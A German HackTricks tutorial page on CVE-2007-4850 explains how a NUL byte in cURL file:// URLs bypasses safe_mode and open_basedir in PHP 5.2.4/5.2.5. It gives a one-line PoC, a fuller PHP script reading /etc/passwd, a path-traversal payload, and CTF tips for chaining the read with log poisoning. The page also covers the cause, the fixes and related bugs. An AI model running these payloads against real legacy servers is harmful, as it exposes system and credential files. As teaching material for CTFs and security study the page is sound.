PHP 5.2.4 and 5.2.5 PHP cURL

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Diese Seite dokumentiert einen veralteten, aber in CTFs und bei lokalen Legacy-Installationen noch nützlichen Trick, um PHP safe_mode/open_basedir-Prüfungen mit der cURL-Erweiterung in bestimmten PHP 5.2.x-Builds zu umgehen.

  • Betroffen: PHP 5.2.4 und 5.2.5 mit aktiviertem ext/curl.
  • Auswirkung: Lesen beliebiger lokaler Dateien trotz safe_mode- oder open_basedir-Einschränkungen (keine direkte Codeausführung).
  • ID: CVE-2007-4850.

Quelle: http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

Einzeiliger PoC

Wenn safe_mode oder open_basedir aktiv sind und cURL aktiviert ist, gibt das Folgende den Inhalt des aktuellen Skripts zurück:

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));

Expliziterer PoC (arbitrary file read)

<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>

Hinweise:

  • Verwende doppelte Anführungszeichen oder chr(0), um ein echtes NUL-Byte einzufügen. Prozent-Encoding (%00) funktioniert nicht zuverlässig.
  • Dies ist eine file read primitive. Kombiniere sie mit anderen primitives (log poisoning, session file inclusion, etc.) für weitere Eskalation, wenn möglich.

Warum das funktioniert (kurz)

Die Schwachstelle liegt darin, wie PHP 5.2.4/5.2.5 safe_mode/open_basedir-Prüfungen für file://-URLs in ext/curl durchgeführt hat. Die Prüfung parste die URL und validierte eine Pfadkomponente, aber aufgrund der NUL-Byte-Behandlung validierte sie einen anderen String als den, der tatsächlich von libcurl verwendet wurde. In der Praxis konnte der Validator den Pfad nach dem NUL genehmigen, während libcurl den Teil vor dem NUL als URL-Container verwendete, was einen Bypass ermöglichte und dazu führte, dass die nach dem NUL-Byte platzierte Datei gelesen wurde. Siehe die ursprüngliche Analyse und das betroffene Makro in curl/interface.c für Details. [CVE-2007-4850].

Einschränkungen und Fixes

  • In späteren 5.2.x behoben (z. B. Distro-Builds, die auf 5.2.6 gepatcht wurden) durch Korrektur des Parsings/der Validierung in ext/curl.
  • Betrifft nur sehr alte PHP-Installationen; safe_mode wurde in PHP 5.4 entfernt und moderne Builds zeigen dieses Verhalten nicht.

Verwandte historische cURL-basierte Bypässe

  • CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl-Wrapper erlaubten file://-Zugriff mit eingebetteten NULs, um open_basedir zu umgehen; behoben vor 5.2.x.
  • PHP bugs #30609/#36223 verfolgten frühe cURL open_basedir-Probleme mit file:// ohne Kanonisierung. Jede Prüfung vor dem NUL-Byte oder ohne realpath-artige Auflösung ist anfällig für dieselbe Abschneidung.

CTF-Tipps

  • Wenn du PHP 5.2.4/5.2.5 mit ext/curl geladen identifizierst (achte auf cURL support => enabled in phpinfo() und die exakte PHP Version), funktioniert dieser Trick normalerweise auch, wenn allow_url_fopen deaktiviert ist, da ext/curl file:// selbst verarbeitet.
  • Wenn direkte Pfade blockiert sind, versuche relative Traversal nach dem NUL, z. B. file://x\x00../../../../etc/passwd. Die Traversal-Auflösung erfolgt durch libcurl, nicht durch die open_basedir-Prüfung.
  • Du kannst die Payload in einen einzigen HTTP-Request-Body einpacken, um die LFI über verwundbaren serverseitigen Code auszulösen, der benutzerkontrollierte URLs in curl_exec() spiegelt (häufig bei Legacy-SSRF-ähnlichen Endpunkten).

Siehe auch

Andere disable_functions/open_basedir-Bypässe und moderne Techniken sind hier gesammelt:

HackTricks

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks